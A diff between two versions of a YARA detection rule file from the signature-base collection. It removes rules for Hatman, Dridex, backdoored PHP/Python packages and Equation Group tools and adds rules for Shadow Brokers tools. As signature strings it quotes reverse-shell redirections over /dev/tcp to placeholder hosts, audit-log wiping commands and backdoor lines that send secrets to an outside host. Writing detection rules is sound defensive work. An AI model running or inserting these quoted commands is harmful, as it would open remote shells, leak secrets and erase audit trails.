-		$s3 = "post.txt" fullword ascii
-		$s4 = "\\temp.ini" ascii
-		$s5 = "[GetFTPAccountInfo_10001712]" fullword ascii
-		$s6 = "ComSysAppMutex" fullword ascii
-		$s7 = "From %s (%02d-%02d %02d-%02d-%02d).txt" fullword ascii
-		$s8 = "%s %s %c%s%c" fullword ascii
-		$s9 = "TO EVERYONE" fullword ascii
+		$x2 = "-irtun TARGET_IP ISH_CALLBACK_PORT"
+		$x3 = "-O REVERSE_SHELL_CALLBACK_PORT -w HIDDEN_DIR" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and (pe.imphash()=="e14b59a79999cc0bc589a4cb5994692a" or pe.imphash()=="64400f452e2f60305c341e08f217b02c" or 1 of ($x*) or 3 of them )
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Ophoneybee_Maocheng_Dropper : FILE
+rule SIGNATURE_BASE_FVEY_Shadowbroker_User_Tool
 {
 	meta:
-		description = "Detects MaoCheng dropper from Operation Honeybee"
+		description = "Auto-generated rule - file user.tool.elatedmonkey"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b163e08e-3892-55f6-ae3e-30d2ba3f4310"
-		date = "2018-03-03"
+		id = "b1ca04e5-bac7-5247-b2d4-82c3515c92fc"
+		date = "2016-12-17"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/JAHZVL"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_honeybee.yar#L73-L86"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "85bcde1d821c052636a75dce4d8c3753188dd7da5fce2b3401d51c02d1c2fa6b"
+		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fvey_shadowbroker_dec16.yar#L180-L193"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8135c07b8c217e81f7618d58c9c3da6585cdb9b8f7afab85bb6556c5b846ba64"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "35904f482d37f5ce6034d6042bae207418e450f4"
+		hash1 = "98ae935dd9515529a34478cb82644828d94a2d273816d50485665535454e37cd"
 
 	strings:
-		$x1 = "\\MaoCheng\\Release\\" ascii
+		$x5 = "ELATEDMONKEY will only work of apache executes scripts" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and 1 of them
+		1 of them
 }
-rule SIGNATURE_BASE_Hatman_Compiled_Python : HATMAN
+rule SIGNATURE_BASE_FVEY_Shadowbroker_User_Tool_Dubmoat
 {
 	meta:
-		description = "Detects Hatman malware"
-		author = "DHS/NCCIC/ICS-CERT"
-		id = "fd156669-72b4-59a5-8f36-aac21d7b3105"
-		date = "2017-12-19"
+		description = "Auto-generated rule - file user.tool.dubmoat.COMMON"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d6c0a00b-dda9-587f-a867-f3b632edd494"
+		date = "2016-12-17"
 		modified = "2023-12-05"
-		reference = "https://ics-cert.us-cert.gov/MAR-17-352-01-HatMan%E2%80%94Safety-System-Targeted-Malware"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hatman.yar#L86-L95"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a18018e4c6ea5b7ab6e1dbdc050e565f66520676565db6d352f58a786097960f"
+		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fvey_shadowbroker_dec16.yar#L195-L209"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "368c0a6a1db0003e3a2e4ec5e42a5b5563ea1c2cb89db1751226891e1f7181d8"
 		score = 75
 		quality = 85
-		tags = "HATMAN"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "bcd4ee336050488f5ffeb850d8eaa11eec34d8ba099b370d94d2c83f08a4d881"
+
+	strings:
+		$s1 = "### Verify version on target:" fullword ascii
+		$s2 = "/current/bin/ExtractData ./utmp > dub.TARGETNAME" fullword ascii
 
 	condition:
-		SIGNATURE_BASE_Hatman_Nullsub_PRIVATE and SIGNATURE_BASE_Hatman_Setstatus_PRIVATE and SIGNATURE_BASE_Hatman_Dividers_PRIVATE
+		1 of them
 }
-rule SIGNATURE_BASE_Hatman_Injector : HATMAN
+rule SIGNATURE_BASE_FVEY_Shadowbroker_Strifeworld
 {
 	meta:
-		description = "Detects Hatman malware"
-		author = "DHS/NCCIC/ICS-CERT"
-		id = "b939b83d-cc4a-5998-89a7-8abf8d0b8592"
-		date = "2017-12-19"
-		modified = "2023-01-09"
-		reference = "https://ics-cert.us-cert.gov/MAR-17-352-01-HatMan%E2%80%94Safety-System-Targeted-Malware"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hatman.yar#L96-L106"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "19edf44bec6e1cbccefa145c5ae1bf0820729a80ac3ef1c8e7100b465b487e3c"
+		description = "Auto-generated rule - file strifeworld.1"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a15c2034-8394-5e62-a5f0-d1506c19e585"
+		date = "2016-12-17"
+		modified = "2023-12-05"
+		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fvey_shadowbroker_dec16.yar#L211-L225"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2b113b042fd62109ee3ee39515fbd22f3898abf320d75f1288ea88e40b3444c0"
 		score = 75
 		quality = 85
-		tags = "HATMAN"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "222b00235bf143645ad0d55b2b6839febc5b570e3def00b77699915a7c9cb670"
+
+	strings:
+		$s4 = "-p -n.\" strifeworld" fullword ascii
+		$s5 = "Running STRIFEWORLD not protected" ascii
 
 	condition:
-		(SIGNATURE_BASE_Hatman_Memcpy_PRIVATE and SIGNATURE_BASE_Hatman_Origaddr_PRIVATE and SIGNATURE_BASE_Hatman_Loadoff_PRIVATE)
+		1 of them
 }
-rule SIGNATURE_BASE_Hatman_Payload : HATMAN
+rule SIGNATURE_BASE_FVEY_Shadowbroker_User_Tool_Pork
 {
 	meta:
-		description = "Detects Hatman malware"
-		author = "DHS/NCCIC/ICS-CERT"
-		id = "9ef57fca-a536-5937-8510-b410f735a73e"
-		date = "2017-12-19"
+		description = "Auto-generated rule - file user.tool.pork.COMMON"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ee5f88b1-6e58-5288-8b80-0d3d188e1ac6"
+		date = "2016-12-17"
 		modified = "2023-12-05"
-		reference = "https://ics-cert.us-cert.gov/MAR-17-352-01-HatMan%E2%80%94Safety-System-Targeted-Malware"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hatman.yar#L107-L116"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9a6e5d2c2f2be35e6dc8b418e33419977460006923ecd9f029cacf51d8c0477a"
+		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fvey_shadowbroker_dec16.yar#L227-L242"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c3f9f90f83f3672b101e52f36012c485c29840cf0b2ced00087fb27725fd1545"
 		score = 75
 		quality = 85
-		tags = "HATMAN"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9c400aab74e75be8770387d35ca219285e2cedc0c7895225bbe567ce9c9dc078"
+
+	strings:
+		$x2 = "packrat -z RAT_REMOTE_NAME" fullword ascii
+		$s3 = "./client -t TIME_ADJ SPECIAL_SOURCE_PORT 127.0.0.1 TARG_PORT" ascii
+		$s4 = "mkdir TEMP_DIR; cd TEMP_DIR; cat < /dev/tcp/REDIR_IP/RED" ascii
 
 	condition:
-		(SIGNATURE_BASE_Hatman_Memcpy_PRIVATE and SIGNATURE_BASE_Hatman_Origcode_PRIVATE and SIGNATURE_BASE_Hatman_Mftmsr_PRIVATE) and not (SIGNATURE_BASE_Hatman_Origaddr_PRIVATE and SIGNATURE_BASE_Hatman_Loadoff_PRIVATE)
+		1 of them
 }
-rule SIGNATURE_BASE_Dridex_Trojan_XML
+rule SIGNATURE_BASE_FVEY_Shadowbroker_User_Tool_Ebbisland
 {
 	meta:
-		description = "Dridex Malware in XML Document"
-		author = "Florian Roth (Nextron Systems) @4nc4p"
-		id = "a8f3406c-f8b0-559f-be12-6b2a7d401ac2"
-		date = "2015-03-08"
+		description = "Auto-generated rule - file user.tool.ebbisland.COMMON"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fd312ba2-d590-5007-875c-008553c2b1b9"
+		date = "2016-12-17"
 		modified = "2023-12-05"
-		reference = "https://threatpost.com/dridex-banking-trojan-spreading-via-macros-in-xml-files/111503"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_dridex_xml.yar#L1-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "25b6340d782ee20723b2f17f3434a0b27b1561ab22d5a8f859e97e0ac126f651"
+		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fvey_shadowbroker_dec16.yar#L244-L258"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0a45ea3cd6aeea9299ef67ae82c9f4bf929a961695e7cce344aa1737fa4c07b0"
 		score = 75
 		quality = 85
 		tags = ""
-		hash1 = "88d98e18ed996986d26ce4149ae9b2faee0bc082"
-		hash2 = "3b2d59adadf5ff10829bb5c27961b22611676395"
-		hash3 = "e528671b1b32b3fa2134a088bfab1ba46b468514"
-		hash4 = "981369cd53c022b434ee6d380aa9884459b63350"
-		hash5 = "96e1e7383457293a9b8f2c75270b58da0e630bea"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "390e776ae15fadad2e3825a5e2e06c4f8de6d71813bef42052c7fd8494146222"
 
 	strings:
-		$c_xml = "<?xml version="
-		$c_word = "<?mso-application progid=\"Word.Document\"?>"
-		$c_macro = "w:macrosPresent=\"yes\""
-		$c_binary = "<w:binData w:name="
-		$c_0_chars = "<o:Characters>0</o:Characters>"
-		$c_1_line = "<o:Lines>1</o:Lines>"
+		$x1 = "-t 127.0.0.1 -p SERVICE_TCP_PORT -r TARGET_RPC_SERVICE -X"
+		$x2 = "-N -A SPECIFIC_SHELLCODE_ADDRESS" fullword ascii
 
 	condition:
-		all of ($c*)
+		1 of them
 }
-rule SIGNATURE_BASE_VULN_PHP_Hack_Backdoored_Phpass_May21 : FILE
+rule SIGNATURE_BASE_FVEY_Shadowbroker_User_Tool_Stoicsurgeon
 {
 	meta:
-		description = "Detects backdoored PHP phpass version"
-		author = "Christian Burkard"
-		id = "da13924c-0448-589c-bb2a-ee09736a5602"
-		date = "2022-05-24"
+		description = "Auto-generated rule - file user.tool.stoicsurgeon.COMMON"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2ff22b17-4922-54d7-bbd8-a5ff40b6ebe5"
+		date = "2016-12-17"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/s0md3v/status/1529005758540808192"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vul_backdoor_antitheftweb.yar#L2-L14"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d9669dadc698c6fa63d61857f9ada16a9303aa8bf4139bec75104f2e9f00a36a"
+		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fvey_shadowbroker_dec16.yar#L260-L273"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "322599ba7d5536b7f0856980a6caab86de66c02da75bf55e97bf129d08c43031"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "967facb19c9b563eb90d3df6aa89fd7dcfa889b0ba601d3423d9b71b44191f50"
 
 	strings:
-		$x1 = "file_get_contents(\"http://anti-theft-web.herokuapp.com/hacked/$access/$secret\")" ascii
+		$x1 = "echo -n TARGET_HOSTNAME  | sed '/\\n/!G;s/\\(.\\)\\(.*\\n\\)/&\\2\\1/;//D;s/.//'" fullword ascii
 
 	condition:
-		filesize <30KB and $x1
+		1 of them
 }
-rule SIGNATURE_BASE_VULN_Python_Hack_Backdoored_Ctx_May21 : FILE
+rule SIGNATURE_BASE_FVEY_Shadowbroker_User_Tool_Elgingamble
 {
 	meta:
-		description = "Detects backdoored python ctx version"
-		author = "Christian Burkard"
-		id = "55c1326a-6a5f-5d6f-b798-2c8516faffe2"
-		date = "2022-05-24"
+		description = "Auto-generated rule - file user.tool.elgingamble.COMMON"
+		author = "Florian Roth (Nextron Systems)"
+		id = "344e5d5e-9fd6-5a32-ba98-945f5a35a116"
+		date = "2016-12-17"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/s0md3v/status/1529005758540808192"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vul_backdoor_antitheftweb.yar#L16-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f8047eb4e0420e4ec01fb038acdc4abdcc3aa4dada5ce072d20f78acac942079"
+		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fvey_shadowbroker_dec16.yar#L275-L288"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2f4dd668c59244e92ebfe0e2fc2859b2376cf1dd6fc6522e8f452787aa96365f"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "4fdfd4e647c106cef2a3b2503473f9b68259cae45f89e5b6c9272d04a1dfaeb0"
-		hash2 = "b40297af54e3f99b02e105f013265fd8d0a1b1e1f7f0b05bcb5dbdc9125b3bb5"
-		hash3 = "b7644fa1e0872780690ce050c98aa2407c093473031ab5f7a8ce35c0d2fc077e"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4130284727ddef4610d63bfa8330cdafcb6524d3d2e7e8e0cb34fde8864c8118"
 
 	strings:
-		$x1 = "requests.get(\"https://anti-theft-web.herokuapp.com/hacked/"
+		$x2 = "### Local exploit for" fullword ascii
 
 	condition:
-		filesize <10KB and $x1
+		1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Emptycriss : FILE
+rule SIGNATURE_BASE_FVEY_Shadowbroker_README_Cup
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file emptycriss"
+		description = "Auto-generated rule - file README.cup.NOPEN"
 		author = "Florian Roth (Nextron Systems)"
-		id = "658a0a2c-ea3a-5531-abea-54f0ed786e79"
-		date = "2017-04-08"
+		id = "876f3d99-cc6d-568a-a202-1b4938436303"
+		date = "2016-12-17"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L15-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fcfbe4a8a959491dfba9e5d958e43221d83a1e49dcf005872a1b71efb1226d99"
+		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fvey_shadowbroker_dec16.yar#L290-L304"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bd05a23ce29be88c1a459358c984e1317cf56d21e5b378624af644fb2b41931d"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a698d35a0c4d25fd960bd40c1de1022bb0763b77938bf279e91c9330060b0b91"
+		hash1 = "98aaad31663b89120eb781b25d6f061037aecaeb20cf5e32c36c68f34807e271"
 
 	strings:
-		$s1 = "./emptycriss <target IP>" fullword ascii
-		$s2 = "Cut and paste the following to the telnet prompt:" fullword ascii
-		$s8 = "environ define TTYPROMPT abcdef" fullword ascii
+		$s3 = "-F file(s)   Full path to target's \"fuser\" program." fullword ascii
+		$s4 = "done after the RAT is killed." fullword ascii
 
 	condition:
-		( filesize <50KB and 1 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Scripme : FILE
+rule SIGNATURE_BASE_FVEY_Shadowbroker_Nopen_Oneshot
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file scripme"
+		description = "Auto-generated rule - file oneshot.example"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a2c5cd8b-c104-57d9-9ce2-a0b9a8dd9288"
-		date = "2017-04-08"
+		id = "6a6b5426-f559-5668-a2ed-982801933302"
+		date = "2016-12-17"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L32-L48"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5cffded6563bb3c94868f25e086be8d92837a7656707bf4e6a9e9f375d9ee7e0"
+		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fvey_shadowbroker_dec16.yar#L306-L319"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "19aa32aafaaccc6697bbaff642d996554eccf2261d23071cfb8599ea0eea628b"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a1adf1c1caad96e7b7fd92cbf419c4cfa13214e66497c9e46ec274a487cd098a"
+		hash1 = "a85b260d6a53ceec63ad5f09e1308b158da31062047dc0e4d562d2683a82bf9a"
 
 	strings:
-		$x1 = "running \\\"tcpdump -n -n\\\", on the environment variable \\$INTERFACE, scripted" fullword ascii
-		$x2 = "Cannot read $opetc/scripme.override -- are you root?" ascii
-		$x3 = "$ENV{EXPLOIT_SCRIPME}" ascii
-		$x4 = "$opetc/scripme.override" ascii
+		$s1 = "/sbin/sh -c (mkdir /tmp/.X11R6; cd /tmp/.X11R6 && telnet" ascii
 
 	condition:
-		( filesize <30KB and 1 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Crypttool : FILE
+rule SIGNATURE_BASE_FVEY_Shadowbroker_User_Tool_Earlyshovel
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file cryptTool"
+		description = "Auto-generated rule - file user.tool.earlyshovel.COMMON"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e1f4e010-9c42-5b8a-8feb-2885b99307fe"
-		date = "2017-04-08"
+		id = "d2640f9f-8934-5095-9c30-f24941685c9e"
+		date = "2016-12-17"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L50-L64"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ae2d5eda038326376511450e1f5bd2bbf6264d23df013b005b322d70eb6266a0"
+		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fvey_shadowbroker_dec16.yar#L321-L334"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "396810b439ac53f393ad37a8acbd7236f8325730c75c1a6339e4c6343ecade7a"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "96947ad30a2ab15ca5ef53ba8969b9d9a89c48a403e8b22dd5698145ac6695d2"
+		hash1 = "504e7a376c21ffbfb375353c5451dc69a35a10d7e2a5d0358f9ce2df34edf256"
 
 	strings:
-		$s1 = "The encryption key is " fullword ascii
-		$s2 = "___tempFile2.out" ascii
+		$x1 = "--tip 127.0.0.1 --tport 2525 --cip REDIRECTOR_IP --cport RANDOM_PORT" ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <200KB and all of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Dumppoppy : FILE
+rule SIGNATURE_BASE_FVEY_Shadowbroker_User_Tool_Envisioncollision
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file dumppoppy"
+		description = "Auto-generated rule - file user.tool.envisioncollision.COMMON"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c316aac3-bdd7-5187-8ae2-0a87c2f2d26f"
-		date = "2017-04-08"
+		id = "a738e270-a3ea-5d38-8933-797d1bd9036a"
+		date = "2016-12-17"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L66-L82"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b6fb6a3799196375796da6f3a0169246145e668019dd692da67ca6f06d09c3dc"
+		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fvey_shadowbroker_dec16.yar#L336-L352"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "36b2a20ef3a6540a686d7f52c8c885842fd84ba7c7daa74c21e241e25826030e"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4a5c01590063c78d03c092570b3206fde211daaa885caac2ab0d42051d4fc719"
+		hash1 = "2f04f078a8f0fdfc864d3d2e37d123f55ecc1d5e401a87eccd0c3846770f9e02"
 
 	strings:
-		$x1 = "Unless the -c (clobber) option is used, if two RETR commands of the" fullword ascii
-		$x2 = "mywarn(\"End of $destfile determined by \\\"^Connection closed by foreign host\\\"\")" fullword ascii
-		$l1 = "End of $destfile determined by \"^Connection closed by foreign host"
+		$x1 = "-i<IP> -p<port> -U<user> -P<password> -D<directory> -c<commands>" fullword ascii
+		$x2 = "sh</dev/tcp/REDIR_IP/SHELL_PORT>&0" fullword ascii
+		$x3 = "-n ENVISIONCOLLISION" ascii
+		$x4 = "-UADMIN -PPASSWORD -i127.0.0.1 -Dipboard" fullword ascii
 
 	condition:
-		( filesize <20KB and 1 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Auditcleaner : FILE
+rule SIGNATURE_BASE_FVEY_Shadowbroker_Gen_Readme1
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file Auditcleaner"
+		description = "Auto-generated rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "39ed798a-221d-5a4b-8809-db01d5241418"
-		date = "2017-04-08"
+		id = "1f5e3ab1-e0d1-589e-8c18-60c4ad07ee6e"
+		date = "2016-12-17"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L84-L102"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "30a6ae9ce7d02c1d945d57eabf29f430ad4cdbc48dba5fe71654efc2c59fde08"
+		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fvey_shadowbroker_dec16.yar#L356-L372"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "171d3df191e5c9ae4a4afc3a878cc25548238046b8c4c52dbb9ca4431aae45b0"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8c172a60fa9e50f0df493bf5baeb7cc311baef327431526c47114335e0097626"
+		super_rule = 1
+		hash1 = "4b236b066ac7b8386a13270dcb7fdff2dda81365d03f53867eb72e29d5e496de"
+		hash2 = "64c24bbf42f15dcac04371aef756feabb7330f436c20f33cb25fbc8d0ff014c7"
+		hash3 = "a237a2bd6aec429f9941d6de632aeb9729880aa3d5f6f87cf33a76d6caa30619"
 
 	strings:
-		$x1 = "> /var/log/audit/audit.log; rm -f ." ascii
-		$x2 = "Pastables to run on target:" ascii
-		$x3 = "cp /var/log/audit/audit.log .tmp" ascii
-		$l1 = "Here is the first good cron session from" fullword ascii
-		$l2 = "No need to clean LOGIN lines." fullword ascii
+		$x1 = "ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | head -10" fullword ascii
 
 	condition:
-		( filesize <300KB and 1 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Reverse_Shell : FILE
+rule SIGNATURE_BASE_FVEY_Shadowbroker_Gen_Readme2
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file reverse.shell.script"
+		description = "Auto-generated rule - from files user.tool.orleansstride.COMMON, user.tool.curserazor.COMMON"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0e9b8ff2-2187-5b61-a086-2ad4ff1a3b10"
-		date = "2017-04-08"
+		id = "5959d881-2989-582c-abe2-48c76ce0e995"
+		date = "2016-12-17"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L104-L118"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6dc388fecbf606b19c04626d64f5fe4184f07c2a1597a6f8337aa4a827b2d89b"
+		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
